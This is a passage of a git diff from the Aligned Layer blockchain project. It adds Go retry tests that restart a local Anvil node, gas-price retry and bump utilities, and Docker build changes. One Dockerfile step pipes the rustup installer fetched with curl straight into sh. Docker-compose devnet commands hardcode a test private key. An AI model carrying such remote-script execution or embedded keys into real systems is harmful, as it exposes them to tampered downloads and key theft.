TestSubscribeToNewTasksV2(t *testing.T) { + cmd, _, err := SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + channel := make(chan *servicemanager.ContractAlignedLayerServiceManagerNewBatchV2) + aggregatorConfig := config.NewAggregatorConfig("../config-files/config-aggregator-test.yaml") + baseConfig := aggregatorConfig.BaseConfig + s, err := chainio.NewAvsServiceBindings( + baseConfig.AlignedLayerDeploymentConfig.AlignedLayerServiceManagerAddr, + baseConfig.AlignedLayerDeploymentConfig.AlignedLayerOperatorStateRetrieverAddr, + baseConfig.EthWsClient, baseConfig.EthWsClientFallback, baseConfig.Logger) + if err != nil { + t.Errorf("Error setting up Avs Service Bindings: %s\n", err) + } + + _, err = chainio.SubscribeToNewTasksV2Retryable(&bind.WatchOpts{}, s.ServiceManager, channel, nil) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } + + _, err = chainio.SubscribeToNewTasksV2Retryable(&bind.WatchOpts{}, s.ServiceManager, channel, nil) + assert.NotNil(t, err) + if _, ok := err.(retry.PermanentError); ok { + t.Errorf("SubscribeToNewTasksV2 Emitted non Transient error: %s\n", err) + return + } + if !strings.Contains(err.Error(), "connect: connection refused") { + t.Errorf("SubscribeToNewTasksV2 Emitted non Transient error: %s\n", err) + return + } + + cmd, _, err = SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + _, err = chainio.SubscribeToNewTasksV2Retryable(&bind.WatchOpts{}, s.ServiceManager, channel, nil) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } +} + +func TestBlockNumber(t *testing.T) { + // Start anvil + cmd, _, err := SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + aggregatorConfig := config.NewAggregatorConfig("../config-files/config-aggregator-test.yaml") + sub, err := chainio.NewAvsSubscriberFromConfig(aggregatorConfig.BaseConfig) + if err != nil { + return + } + _, err = sub.BlockNumberRetryable(context.Background()) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } + + _, err = sub.BlockNumberRetryable(context.Background()) + assert.NotNil(t, err) + if _, ok := err.(retry.PermanentError); ok { + t.Errorf("BlockNumber Emitted non Transient error: %s\n", err) + return + } + if !strings.Contains(err.Error(), "connect: connection refused") { + t.Errorf("BlockNumber Emitted non Transient error: %s\n", err) + return + } + + cmd, _, err = SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + _, err = sub.BlockNumberRetryable(context.Background()) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } +} + +func TestFilterBatchV2(t *testing.T) { + cmd, _, err := SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + aggregatorConfig := config.NewAggregatorConfig("../config-files/config-aggregator-test.yaml") + avsSubscriber, err := chainio.NewAvsSubscriberFromConfig(aggregatorConfig.BaseConfig) + if err != nil { + return + } + _, err = avsSubscriber.FilterBatchV2Retryable(&bind.FilterOpts{Start: 0, End: nil, Context: context.Background()}, nil) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } + + _, err = avsSubscriber.FilterBatchV2Retryable(&bind.FilterOpts{Start: 0, End: nil, Context: context.Background()}, nil) + assert.NotNil(t, err) + if _, ok := err.(retry.PermanentError); ok { + t.Errorf("FilterBatchV2 Emitted non Transient error: %s\n", err) + return + } + if !strings.Contains(err.Error(), "connect: connection refused") { + t.Errorf("FilterBatchV2 Emitted non Transient error: %s\n", err) + return + } + + cmd, _, err = SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + _, err = avsSubscriber.FilterBatchV2Retryable(&bind.FilterOpts{Start: 0, End: nil, Context: context.Background()}, nil) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } +} + +func TestFilterBatchV3(t *testing.T) { + cmd, _, err := SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + aggregatorConfig := config.NewAggregatorConfig("../config-files/config-aggregator-test.yaml") + avsSubscriber, err := chainio.NewAvsSubscriberFromConfig(aggregatorConfig.BaseConfig) + if err != nil { + return + } + _, err = avsSubscriber.FilterBatchV3Retryable(&bind.FilterOpts{Start: 0, End: nil, Context: context.Background()}, nil) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } + + _, err = avsSubscriber.FilterBatchV3Retryable(&bind.FilterOpts{Start: 0, End: nil, Context: context.Background()}, nil) + assert.NotNil(t, err) + if _, ok := err.(retry.PermanentError); ok { + t.Errorf("FilerBatchV3 Emitted non Transient error: %s\n", err) + return + } + if !strings.Contains(err.Error(), "connect: connection refused") { + t.Errorf("FilterBatchV3 Emitted non Transient error: %s\n", err) + return + } + + cmd, _, err = SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + _, err = avsSubscriber.FilterBatchV3Retryable(&bind.FilterOpts{Start: 0, End: nil, Context: context.Background()}, nil) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } +} + +func TestBatchesStateSubscriber(t *testing.T) { + cmd, _, err := SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + aggregatorConfig := config.NewAggregatorConfig("../config-files/config-aggregator-test.yaml") + avsSubscriber, err := chainio.NewAvsSubscriberFromConfig(aggregatorConfig.BaseConfig) + if err != nil { + return + } + + zero_bytes := [32]byte{} + _, err = avsSubscriber.BatchesStateRetryable(nil, zero_bytes) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } + + _, err = avsSubscriber.BatchesStateRetryable(nil, zero_bytes) + assert.NotNil(t, err) + if _, ok := err.(retry.PermanentError); ok { + t.Errorf("BatchesStateSubscriber Emitted non Transient error: %s\n", err) + return + } + if !strings.Contains(err.Error(), "connect: connection refused") { + t.Errorf("BatchesStateSubscriber Emitted non Transient error: %s\n", err) + return + } + + cmd, _, err = SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + _, err = avsSubscriber.BatchesStateRetryable(nil, zero_bytes) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } +} + +func TestSubscribeNewHead(t *testing.T) { + cmd, _, err := SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + c := make(chan *types.Header) + aggregatorConfig := config.NewAggregatorConfig("../config-files/config-aggregator-test.yaml") + avsSubscriber, err := chainio.NewAvsSubscriberFromConfig(aggregatorConfig.BaseConfig) + if err != nil { + return + } + + _, err = avsSubscriber.SubscribeNewHeadRetryable(context.Background(), c) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } + + _, err = avsSubscriber.SubscribeNewHeadRetryable(context.Background(), c) + assert.NotNil(t, err) + if _, ok := err.(retry.PermanentError); ok { + t.Errorf("SubscribeNewHead Emitted non Transient error: %s\n", err) + return + } + if !strings.Contains(err.Error(), "connect: connection refused") { + t.Errorf("SubscribeNewHead Emitted non Transient error: %s\n", err) + return + } + + cmd, _, err = SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + _, err = avsSubscriber.SubscribeNewHeadRetryable(context.Background(), c) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + } +} + +// |--AVS-Writer Retry Tests--| + +func TestRespondToTaskV2(t *testing.T) { + // Start anvil + cmd, _, err := SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + g2Point := servicemanager.BN254G2Point{ + X: [2]*big.Int{big.NewInt(4), big.NewInt(3)}, + Y: [2]*big.Int{big.NewInt(2), big.NewInt(8)}, + } + + g1Point := servicemanager.BN254G1Point{ + X: big.NewInt(2), + Y: big.NewInt(1), + } + + g1Points := []servicemanager.BN254G1Point{ + g1Point, g1Point, g1Point, + } + + nonSignerStakesAndSignature := servicemanager.IBLSSignatureCheckerNonSignerStakesAndSignature{ + NonSignerPubkeys: g1Points, + QuorumApks: g1Points, + ApkG2: g2Point, + Sigma: g1Point, + NonSignerQuorumBitmapIndices: make([]uint32, 3), + QuorumApkIndices: make([]uint32, 3), + TotalStakeIndices: make([]uint32, 3), + NonSignerStakeIndices: make([][]uint32, 1, 3), + } + + aggregatorConfig := config.NewAggregatorConfig("../config-files/config-aggregator-test.yaml") + w, err := chainio.NewAvsWriterFromConfig(aggregatorConfig.BaseConfig, aggregatorConfig.EcdsaConfig, nil) + if err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } + txOpts := *w.Signer.GetTxOpts() + aggregator_address := common.HexToAddress("0xc3e53F4d16Ae77Db1c982e75a937B9f60FE63690") + zero_bytes := [32]byte{} + + // NOTE: With zero bytes the tx reverts + _, err = w.RespondToTaskV2Retryable(&txOpts, zero_bytes, aggregator_address, nonSignerStakesAndSignature) + assert.NotNil(t, err) + if !strings.Contains(err.Error(), "execution reverted") { + t.Errorf("RespondToTaskV2 did not emit the expected message: %q doesn't contain %q", err.Error(), "execution reverted: custom error 0x2396d34e:") + } + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + } + + _, err = w.RespondToTaskV2Retryable(&txOpts, zero_bytes, aggregator_address, nonSignerStakesAndSignature) + assert.NotNil(t, err) + if _, ok := err.(*backoff.PermanentError); ok { + t.Errorf("RespondToTaskV2 Emitted non-Transient error: %s\n", err) + } + if !strings.Contains(err.Error(), "connect: connection refused") { + t.Errorf("RespondToTaskV2 did not return expected error: %s\n", err) + } + + cmd, _, err = SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + // NOTE: With zero bytes the tx reverts + _, err = w.RespondToTaskV2Retryable(&txOpts, zero_bytes, aggregator_address, nonSignerStakesAndSignature) + assert.NotNil(t, err) + if !strings.Contains(err.Error(), "execution reverted") { + t.Errorf("RespondToTaskV2 did not emit the expected message: %q doesn't contain %q", err.Error(), "execution reverted: custom error 0x2396d34e:") + } + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + } +} + +func TestBatchesStateWriter(t *testing.T) { + cmd, _, err := SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + aggregatorConfig := config.NewAggregatorConfig("../config-files/config-aggregator-test.yaml") + avsWriter, err := chainio.NewAvsWriterFromConfig(aggregatorConfig.BaseConfig, aggregatorConfig.EcdsaConfig, nil) + if err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } + num := big.NewInt(6) + + var bytes [32]byte + num.FillBytes(bytes[:]) + + _, err = avsWriter.BatchesStateRetryable(&bind.CallOpts{}, bytes) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("error killing process: %v\n", err) + return + } + + _, err = avsWriter.BatchesStateRetryable(&bind.CallOpts{}, bytes) + assert.NotNil(t, err) + if _, ok := err.(retry.PermanentError); ok { + t.Errorf("BatchesStateWriter Emitted non-Transient error: %s\n", err) + return + } + if !strings.Contains(err.Error(), "connect: connection refused") { + t.Errorf("BatchesStateWriter did not contain expected error: %s\n", err) + return + } + + cmd, _, err = SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + _, err = avsWriter.BatchesStateRetryable(&bind.CallOpts{}, bytes) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } +} + +func TestBalanceAt(t *testing.T) { + cmd, _, err := SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + aggregatorConfig := config.NewAggregatorConfig("../config-files/config-aggregator-test.yaml") + avsWriter, err := chainio.NewAvsWriterFromConfig(aggregatorConfig.BaseConfig, aggregatorConfig.EcdsaConfig, nil) + if err != nil { + return + } + aggregator_address := common.HexToAddress("0x0") + blockHeight := big.NewInt(22) + + _, err = avsWriter.BalanceAtRetryable(context.Background(), aggregator_address, blockHeight) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } + + _, err = avsWriter.BalanceAtRetryable(context.Background(), aggregator_address, blockHeight) + assert.NotNil(t, err) + if _, ok := err.(retry.PermanentError); ok { + t.Errorf("BalanceAt Emitted non-Transient error: %s\n", err) + return + } + if !strings.Contains(err.Error(), "connect: connection refused") { + t.Errorf("BalanceAt did not return expected error: %s\n", err) + return + } + + cmd, _, err = SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + _, err = avsWriter.BalanceAtRetryable(context.Background(), aggregator_address, blockHeight) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } +} + +func TestBatchersBalances(t *testing.T) { + cmd, _, err := SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + aggregatorConfig := config.NewAggregatorConfig("../config-files/config-aggregator-test.yaml") + avsWriter, err := chainio.NewAvsWriterFromConfig(aggregatorConfig.BaseConfig, aggregatorConfig.EcdsaConfig, nil) + if err != nil { + return + } + senderAddress := common.HexToAddress("0x0") + + _, err = avsWriter.BatcherBalancesRetryable(&bind.CallOpts{}, senderAddress) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } + + _, err = avsWriter.BatcherBalancesRetryable(&bind.CallOpts{}, senderAddress) + assert.NotNil(t, err) + if _, ok := err.(retry.PermanentError); ok { + t.Errorf("BatchersBalances Emitted non-Transient error: %s\n", err) + return + } + if !strings.Contains(err.Error(), "connect: connection refused") { + t.Errorf("BatchersBalances did not return expected error: %s\n", err) + return + } + + cmd, _, err = SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + _, err = avsWriter.BatcherBalancesRetryable(&bind.CallOpts{}, senderAddress) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } +} diff --git a/core/utils/eth_client_utils.go b/core/utils/eth_client_utils.go index afa26b867..36b28f036 100644 --- a/core/utils/eth_client_utils.go +++ b/core/utils/eth_client_utils.go @@ -2,29 +2,37 @@ package utils import ( "context" + "math/big" "time" - "fmt" - "github.com/Layr-Labs/eigensdk-go/chainio/clients/eth" eigentypes "github.com/Layr-Labs/eigensdk-go/types" gethcommon "github.com/ethereum/go-ethereum/common" "github.com/ethereum/go-ethereum/core/types" + retry "github.com/yetanotherco/aligned_layer/core" ) -const maxRetries = 25 -const sleepTime = 5 * time.Second - -func WaitForTransactionReceipt(client eth.InstrumentedClient, ctx context.Context, txHash gethcommon.Hash) (*types.Receipt, error) { - for i := 0; i < maxRetries; i++ { - receipt, err := client.TransactionReceipt(ctx, txHash) +// WaitForTransactionReceiptRetryable repeatedly attempts to fetch the transaction receipt for a given transaction hash. +// If the receipt is not found, the function will retry with exponential backoff until the specified `waitTimeout` duration is reached. +// If the receipt is still unavailable after `waitTimeout`, it will return an error. +// +// Note: The `time.Second * 2` is set as the max interval in the retry mechanism because we can't reliably measure the specific time the tx will be included in a block. +// Setting a higher value will imply doing less retries across the waitTimeout, and so we might lose the receipt +// All errors are considered Transient Errors +// - Retry times: 0.5s, 1s, 2s, 2s, 2s, ... until it reaches waitTimeout +func WaitForTransactionReceiptRetryable(client eth.InstrumentedClient, fallbackClient eth.InstrumentedClient, txHash gethcommon.Hash, waitTimeout time.Duration) (*types.Receipt, error) { + receipt_func := func() (*types.Receipt, error) { + receipt, err := client.TransactionReceipt(context.Background(), txHash) if err != nil { - time.Sleep(sleepTime) - } else { + receipt, err = fallbackClient.TransactionReceipt(context.Background(), txHash) + if err != nil { + return nil, err + } return receipt, nil } + return receipt, nil } - return nil, fmt.Errorf("transaction receipt not found for txHash: %s", txHash.String()) + return retry.RetryWithData(receipt_func, retry.MinDelay, retry.RetryFactor, 0, time.Second*2, waitTimeout) } func BytesToQuorumNumbers(quorumNumbersBytes []byte) eigentypes.QuorumNums { @@ -42,3 +50,54 @@ func BytesToQuorumThresholdPercentages(quorumThresholdPercentagesBytes []byte) e } return quorumThresholdPercentages } + +func WeiToEth(wei *big.Int) float64 { + weiToEth := new(big.Float).SetFloat64(1e18) + weiFloat := new(big.Float).SetInt(wei) + + result := new(big.Float).Quo(weiFloat, weiToEth) + eth, _ := result.Float64() + + return eth +} + +// Simple algorithm to calculate the gasPrice bump based on: +// the currentGasPrice, a base bump percentage, a retry percentage, and the retry count. +// Formula: currentGasPrice + (currentGasPrice * (baseBumpPercentage + retryCount * incrementalRetryPercentage) / 100) +func CalculateGasPriceBumpBasedOnRetry(currentGasPrice *big.Int, baseBumpPercentage uint, retryAttemptPercentage uint, retryCount int) *big.Int { + // Incremental percentage increase for each retry attempt (i*retryAttemptPercentage) + incrementalRetryPercentage := new(big.Int).Mul(big.NewInt(int64(retryAttemptPercentage)), big.NewInt(int64(retryCount))) + + // Total bump percentage: base bump + incremental retry percentage + totalBumpPercentage := new(big.Int).Add(big.NewInt(int64(baseBumpPercentage)), incrementalRetryPercentage) + + // Calculate the bump amount: currentGasPrice * totalBumpPercentage / 100 + bumpAmount := new(big.Int).Mul(currentGasPrice, totalBumpPercentage) + bumpAmount = new(big.Int).Div(bumpAmount, big.NewInt(100)) + + // Final bumped gas price: currentGasPrice + bumpAmount + bumpedGasPrice := new(big.Int).Add(currentGasPrice, bumpAmount) + + return bumpedGasPrice +} + +/* +GetGasPriceRetryable +Get the gas price from the client with retry logic. +- All errors are considered Transient Errors +- Retry times: 1 sec, 2 sec, 4 sec +*/ +func GetGasPriceRetryable(client eth.InstrumentedClient, fallbackClient eth.InstrumentedClient) (*big.Int, error) { + respondToTaskV2_func := func() (*big.Int, error) { + gasPrice, err := client.SuggestGasPrice(context.Background()) + if err != nil { + gasPrice, err = fallbackClient.SuggestGasPrice(context.Background()) + if err != nil { + return nil, err + } + } + + return gasPrice, nil + } + return retry.RetryWithData(respondToTaskV2_func, retry.MinDelay, retry.RetryFactor, retry.NumRetries, retry.MaxInterval, retry.MaxElapsedTime) +} diff --git a/core/utils/eth_client_utils_test.go b/core/utils/eth_client_utils_test.go new file mode 100644 index 000000000..277fa0ba0 --- /dev/null +++ b/core/utils/eth_client_utils_test.go @@ -0,0 +1,38 @@ +package utils_test + +import ( + "math/big" + "testing" + + "github.com/yetanotherco/aligned_layer/core/utils" +) + +func TestCalculateGasPriceBumpBasedOnRetry(t *testing.T) { + baseBumpPercentage := uint(20) + incrementalRetryPercentage := uint(5) + + gasPrices := [5]*big.Int{ + big.NewInt(3000000000), + big.NewInt(3000000000), + big.NewInt(4000000000), + big.NewInt(4000000000), + big.NewInt(5000000000)} + + expectedBumpedGasPrices := [5]*big.Int{ + big.NewInt(3600000000), + big.NewInt(3750000000), + big.NewInt(5200000000), + big.NewInt(5400000000), + big.NewInt(7000000000)} + + for i := 0; i < len(gasPrices); i++ { + currentGasPrice := gasPrices[i] + bumpedGasPrice := utils.CalculateGasPriceBumpBasedOnRetry(currentGasPrice, baseBumpPercentage, incrementalRetryPercentage, i) + expectedGasPrice := expectedBumpedGasPrices[i] + + if bumpedGasPrice.Cmp(expectedGasPrice) != 0 { + t.Errorf("Bumped gas price does not match expected gas price, expected value %v, got: %v", expectedGasPrice, bumpedGasPrice) + } + } + +} diff --git a/docker-compose.yaml b/docker-compose.yaml index fb43a5178..a91ab2b61 100644 --- a/docker-compose.yaml +++ b/docker-compose.yaml @@ -67,7 +67,7 @@ services: operator-whitelist-devnet: image: ghcr.io/yetanotherco/aligned_layer/foundry:latest - command: ["sh", "-c", "cast send --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 0x851356ae760d987E095750cCeb3bC6014560891C 'add(address)' 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 --rpc-url http://anvil:8545 --gas-price $(cast gas-price --rpc-url http://anvil:8545)"] + command: ["sh", "-c", "cast send --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 0xf5059a5D33d5853360D16C683c16e67980206f36 'add(address)' 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 --rpc-url http://anvil:8545 --gas-price $(cast gas-price --rpc-url http://anvil:8545)"] build: context: . dockerfile: docker/foundry.Dockerfile @@ -94,7 +94,7 @@ services: user-fund-payment-service-devnet: image: ghcr.io/yetanotherco/aligned_layer/foundry:latest - command: ["sh", "-c", "cast send --from 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 --value 100ether --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 --rpc-url http://anvil:8545 0x7969c5eD335650692Bc04293B07F5BF2e7A673C0 --gas-price $(cast gas-price --rpc-url http://anvil:8545)"] + command: ["sh", "-c", "cast send --from 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 --value 100ether --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 --rpc-url http://anvil:8545 0x7bc06c482DEAd17c0e297aFbC32f6e63d3846650 --gas-price $(cast gas-price --rpc-url http://anvil:8545)"] build: context: . dockerfile: docker/foundry.Dockerfile diff --git a/docker/aggregator.Dockerfile b/docker/aggregator.Dockerfile index 288c705bb..646554eec 100644 --- a/docker/aggregator.Dockerfile +++ b/docker/aggregator.Dockerfile @@ -9,6 +9,7 @@ COPY core ./core COPY metrics ./metrics COPY contracts/bindings/ ./contracts/bindings +RUN go get github.com/ethereum/go-ethereum@latest RUN go build -o ./aligned-layer-aggregator aggregator/cmd/main.go FROM debian:bookworm-slim diff --git a/docker/aligned_base.Dockerfile b/docker/aligned_base.Dockerfile index 86e88de54..65d4df732 100644 --- a/docker/aligned_base.Dockerfile +++ b/docker/aligned_base.Dockerfile @@ -1,7 +1,4 @@ -FROM rust:slim-bookworm - -# Install rust nightly-2024-04-17 -RUN rustup toolchain install nightly-2024-04-17 +FROM debian:bookworm-slim AS base ARG BUILDARCH ENV GO_VERSION=1.22.2 @@ -31,12 +28,121 @@ RUN go install github.com/maoueh/zap-pretty@latest RUN go install github.com/ethereum/go-ethereum/cmd/abigen@latest RUN go install github.com/Layr-Labs/eigenlayer-cli/cmd/eigenlayer@latest +# Install rust +RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y +ENV PATH="/root/.cargo/bin:${PATH}" + WORKDIR /aligned_layer COPY Makefile . -COPY operator ./operator -COPY batcher/aligned-sdk ./batcher/aligned-sdk +ENV CARGO_NET_GIT_FETCH_WITH_CLI=true + +FROM lukemathwalker/cargo-chef:latest-rust-1 AS chef + +FROM chef AS planner + +# build_sp1_linux +COPY operator/sp1/lib/Cargo.toml /aligned_layer/operator/sp1/lib/Cargo.toml +COPY operator/sp1/lib/src/ /aligned_layer/operator/sp1/lib/src/ +WORKDIR /aligned_layer/operator/sp1/lib +RUN cargo chef prepare --recipe-path /aligned_layer/operator/sp1/lib/recipe.json + +# build_risc_zero_linux +COPY operator/risc_zero/lib/Cargo.toml /aligned_layer/operator/risc_zero/lib/Cargo.toml +COPY operator/risc_zero/lib/src/ /aligned_layer/operator/risc_zero/lib/src/ +WORKDIR /aligned_layer/operator/risc_zero/lib +RUN cargo chef prepare --recipe-path /aligned_layer/operator/risc_zero/lib/recipe.json + +# build_sp1_linux_old +COPY operator/sp1_old/lib/Cargo.toml /aligned_layer/operator/sp1_old/lib/Cargo.toml +COPY operator/sp1_old/lib/src/ /aligned_layer/operator/sp1_old/lib/src/ +WORKDIR /aligned_layer/operator/sp1_old/lib/src/ +RUN cargo chef prepare --recipe-path /aligned_layer/operator/sp1_old/lib/recipe.json + +# build_risc_zero_linux_old +COPY operator/risc_zero_old/lib/Cargo.toml /aligned_layer/operator/risc_zero_old/lib/Cargo.toml +COPY operator/risc_zero_old/lib/src/ /aligned_layer/operator/risc_zero_old/lib/src/ +WORKDIR /aligned_layer/operator/risc_zero_old/lib/src/ +RUN cargo chef prepare --recipe-path /aligned_layer/operator/risc_zero_old/lib/recipe.json + +# build_merkle_tree_linux +COPY operator/merkle_tree/lib/Cargo.toml /aligned_layer/operator/merkle_tree/lib/Cargo.toml +COPY operator/merkle_tree/lib/src/ /aligned_layer/operator/merkle_tree/lib/src/ +WORKDIR operator/merkle_tree/lib +RUN cargo chef prepare --recipe-path /aligned_layer/operator/merkle_tree/lib/recipe.json + +FROM chef AS chef_builder + +COPY batcher/aligned-sdk /aligned_layer/batcher/aligned-sdk/ +# build_sp1_linux +COPY operator/sp1/ /aligned_layer/operator/sp1/ +COPY --from=planner /aligned_layer/operator/sp1/lib/recipe.json /aligned_layer/operator/sp1/lib/recipe.json +WORKDIR /aligned_layer/operator/sp1/lib/ +RUN cargo chef cook --release --recipe-path /aligned_layer/operator/sp1/lib/recipe.json + +# build_risc_zero_linux +COPY operator/risc_zero/ /aligned_layer/operator/risc_zero/ +COPY --from=planner /aligned_layer/operator/risc_zero/lib/recipe.json /aligned_layer/operator/risc_zero/lib/recipe.json +WORKDIR /aligned_layer/operator/risc_zero/lib/ +RUN cargo chef cook --release --recipe-path /aligned_layer/operator/risc_zero/lib/recipe.json + +# build_sp1_linux_old +COPY operator/sp1_old/ /aligned_layer/operator/sp1_old/ +COPY --from=planner /aligned_layer/operator/sp1_old/lib/recipe.json /aligned_layer/operator/sp1_old/lib/recipe.json +WORKDIR /aligned_layer/operator/sp1_old/lib/ +RUN cargo chef cook --release --recipe-path /aligned_layer/operator/sp1_old/lib/recipe.json + +# build_risc_zero_linux_old +COPY operator/risc_zero_old/ /aligned_layer/operator/risc_zero_old/ +COPY --from=planner /aligned_layer/operator/risc_zero_old/lib/recipe.json /aligned_layer/operator/risc_zero_old/lib/recipe.json +WORKDIR /aligned_layer/operator/risc_zero_old/lib/ +RUN cargo chef cook --release --recipe-path /aligned_layer/operator/risc_zero_old/lib/recipe.json + +# build_merkle_tree_linux +COPY operator/merkle_tree/ /aligned_layer/operator/merkle_tree/ +COPY --from=planner /aligned_layer/operator/merkle_tree/lib/recipe.json /aligned_layer/operator/merkle_tree/lib/recipe.json +WORKDIR /aligned_layer/operator/merkle_tree/lib/ +RUN cargo chef cook --release --recipe-path /aligned_layer/operator/merkle_tree/lib/recipe.json + +FROM base AS builder + +ENV RELEASE_FLAG=--release +ENV TARGET_REL_PATH=release ENV CARGO_NET_GIT_FETCH_WITH_CLI=true -RUN make build_all_ffi_linux +COPY operator/ /aligned_layer/operator/ +COPY batcher/ /aligned_layer/batcher/ +COPY --from=chef_builder /aligned_layer/batcher/aligned-sdk /aligned_layer/batcher/aligned-sdk + +# build_sp1_linux +COPY --from=chef_builder /aligned_layer/operator/sp1/lib/target/ /aligned_layer/operator/sp1/lib/target/ +WORKDIR /aligned_layer/operator/sp1/lib +RUN cargo build ${RELEASE_FLAG} +RUN cp /aligned_layer/operator/sp1/lib/target/${TARGET_REL_PATH}/libsp1_verifier_ffi.so /aligned_layer/operator/sp1/lib/libsp1_verifier_ffi.so + +# build_risc_zero_linux +COPY --from=chef_builder /aligned_layer/operator/risc_zero/lib/target/ /aligned_layer/operator/risc_zero/lib/target/ +WORKDIR /aligned_layer/operator/risc_zero/lib +RUN cargo build ${RELEASE_FLAG} +RUN cp /aligned_layer/operator/risc_zero/lib/target/${TARGET_REL_PATH}/librisc_zero_verifier_ffi.so /aligned_layer/operator/risc_zero/lib/librisc_zero_verifier_ffi.so + +# build_sp1_linux_old +COPY --from=chef_builder /aligned_layer/operator/sp1_old/lib/target/ /aligned_layer/operator/sp1_old/lib/target/ +WORKDIR /aligned_layer/operator/sp1_old/lib +RUN cargo build ${RELEASE_FLAG} +RUN cp /aligned_layer/operator/sp1_old/lib/target/${TARGET_REL_PATH}/libsp1_verifier_old_ffi.so /aligned_layer/operator/sp1_old/lib/libsp1_verifier_old_ffi.so + +# build_risc_zero_linux_old +COPY --from=chef_builder /aligned_layer/operator/risc_zero_old/lib/target/ /aligned_layer/operator/risc_zero_old/lib/target/ +WORKDIR /aligned_layer/operator/risc_zero_old/lib +RUN cargo build ${RELEASE_FLAG} +RUN cp /aligned_layer/operator/risc_zero_old/lib/target/${TARGET_REL_PATH}/librisc_zero_verifier_old_ffi.so /aligned_layer/operator/risc_zero_old/lib/librisc_zero_verifier_old_ffi.so + + +# build_merkle_tree_linux +COPY --from=chef_builder /aligned_layer/operator/merkle_tree/lib/target/ /aligned_layer/operator/merkle_tree/lib/target/ +WORKDIR /aligned_layer/operator/merkle_tree/lib +RUN cargo build ${RELEASE_FLAG} +RUN cp /aligned_layer/operator/merkle_tree/lib/target/${TARGET_REL_PATH}/libmerkle_tree.so /aligned_layer/operator/merkle_tree/lib/libmerkle_tree.so +RUN cp /aligned_layer/operator/merkle_tree/lib/target/${TARGET_REL_PATH}/libmerkle_tree.a /aligned_layer/operator/merkle_tree/lib/libmerkle_tree.a diff --git a/docker/batcher.Dockerfile b/docker/batcher.Dockerfile index d90fe76b3..0f7689abb 100644 --- a/docker/batcher.Dockerfile +++ b/docker/batcher.Dockerfile @@ -1,33 +1,55 